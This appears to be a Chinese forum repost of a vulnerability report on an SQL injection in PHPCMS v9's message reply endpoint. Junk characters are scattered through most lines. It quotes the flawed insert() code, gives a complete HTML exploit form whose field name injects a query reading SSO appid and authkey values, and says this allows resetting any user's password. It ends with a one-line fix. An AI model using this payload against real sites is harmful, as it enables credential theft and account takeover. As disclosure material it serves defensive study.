|
简要描述:% Q" ~9 b+ M- D- s7 v' O/ E
: T- I# {7 Y2 S7 g! B( T" j第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。& k4 L# c+ K7 k# q# Y7 \7 A6 c
; r, R5 ^+ l% H1 Y明天再更新下一个漏洞。& s" G# C D3 x9 _. O2 C
详细说明:
' n- g0 e; d3 f1 t1 _" o在/phpcms9/phpcms/modules/message/index.php中有代码如下:* ~! {8 z3 @5 c4 V
, Q* N0 f4 t k1 K3 M$messageid = $this->message_db->insert($_POST['info'],true);- R# T, R& _: Y$ S' ~& G9 @. A
$ y% |4 z) B6 R" ~0 o4 K2 K, ~: a7 Y( J! o
insert方法是key value的,代码如下:4 |! I9 ^! o6 K' _# ?
; d5 T7 C/ k7 `" ]3 ]/ apublic function insert($data, $table, $return_insert_id = false, $replace = false) {' T6 e9 V" c& j, k
if(!is_array( $data ) || $table == '' || count($data) == 0) {8 e. n$ d- u% {4 w6 n& S+ @; X" K
return false;
; l! {! P1 R& @: z# c }
6 Z* ?7 e' M; K" y7 D2 m/ W: W
: l p& ^0 {5 f $fielddata = array_keys($data);
) L+ |8 E3 ~$ M/ Z& {. U $valuedata = array_values($data);: H7 b A- Z3 C0 ]* s* ?, E
array_walk($fielddata, array($this, 'add_special_char'));
2 o+ c1 M- O, s' r1 f; _ v5 q array_walk($valuedata, array($this, 'escape_string'));6 e2 }) s l- @: n
8 w: e# D2 h' S( [
$field = implode (',', $fielddata);
$ k+ i/ B7 [* P& h! p$ k $value = implode (',', $valuedata);+ v6 a% O k" |4 d8 p9 V. }2 I/ B
- s, K( e) h2 F [ $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';; B+ I) p9 \; M6 H" B: {4 K
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
& a, S6 L e1 d# s $return = $this->execute($sql);' }, W b3 J! r$ ^: @7 F3 C* b
return $return_insert_id ? $this->insert_id() : $return;
1 X) m% n/ j, @' a4 n }
# y& V9 m& S3 p: ]+ A' p8 \4 F% P5 n. i" B+ _4 m$ C0 U9 x( j9 I
( z3 o1 {' m" H% |' ]) @% E4 p
嗯,很遗憾的是% E/ W+ q+ U( `; v
' ^# }. u3 v4 L4 L S/ [6 Y
array_walk($fielddata, array($this, 'add_special_char'));
3 f2 @+ o6 h F; P2 J0 z6 Z
$ T/ s; `- L2 X: t$ [! z
6 A4 b; r: S F2 q# R中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。# w& T# H8 f8 `+ P6 S
" a% b' _; j; F7 }8 L8 ]到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。( }2 V+ N8 Q/ I1 [$ l7 g
1 o( d" [6 B6 \$ ~% [6 U漏洞证明:
% w) M1 b, y7 M& c6 @0 g3 L- X9 Z+ K读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。; P1 N* f$ h- T# ~1 b0 R/ V/ |
6 e: l# }$ v# y" h' Q, V) Y. M1 i2 M4 G" B
表单如下:用户名什么的得自己改一改。$ \1 Q* ~8 x9 n6 |5 k0 L$ b! g
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
: G( i* ~$ N7 X- a% v<table width="100%" cellspacing="0" class="table_form">5 [1 @- E0 [9 b2 c7 o
<tr>5 _8 ^2 ^5 @4 H6 H
<th>标 题:</th>! \0 ?0 P% D) g4 g3 L
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>' N/ x' N, C3 r! F; N, z$ _: I
</tr>
! I6 o. X* k+ O6 |8 m<tr>
! [7 I& H, V6 e& ^) c+ A }<th>内 容:</th>
9 R+ I$ r$ F5 H<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>* N' a5 p$ \$ m/ S. N# S
</tr>
0 _$ H7 @* l% T5 a8 E+ k9 A" O2 s<input type="hidden" name="info[replyid]" value="2" />
) s2 D; t' o) S$ u) [3 S6 p5 P<input type="hidden" name="info[send_to_id]" value="cc" /> & @- K5 I$ m! U: h
<input type="hidden" name="info[send_from_id]" value="hh">+ N& C* @3 B1 n2 f, t; Z X* ~' X7 _
<!-- 漏洞的利用重点在这里开始 -->
. L% ]4 R( S/ }8 l<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> % N8 Z7 [0 k& v. R7 S: B. M( ?
<!-- 漏洞的利用重点在这里结束 -->' l7 P j% j7 U! G, @8 o, [! l& N
<tr>
: F+ @" h3 ?# Z* \' _<th>验证码:</th>
8 Q: b! }, K* x" K' K) F<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>$ o+ V/ `" ^" w/ ~3 \
</tr>" @# K" S0 y9 Q; C
<tr>
8 ^1 U/ j# |0 G<td></td>
6 n( R: u1 i2 A3 f6 P<td colspan="2"><label>! [* `) \; s, ]* d
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>6 V, o2 Z* ^1 j4 ^2 z5 H
</label></td>
8 `2 }& s; l+ R2 y</tr>
0 E7 P, q* o: T0 f/ R* ]3 h</table>
" ?( s0 D& s" L3 e( ~. p8 n</form>
4 I7 h- L: p% }在add_special_char函数内对key做过滤就可以了。" K& B4 x+ x! _# {+ R$ g# r& y, a
( g! B9 ^: `6 E& [/ U& j' _2 G' i6 X: L& ^
5 U: i x5 t0 p# p
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|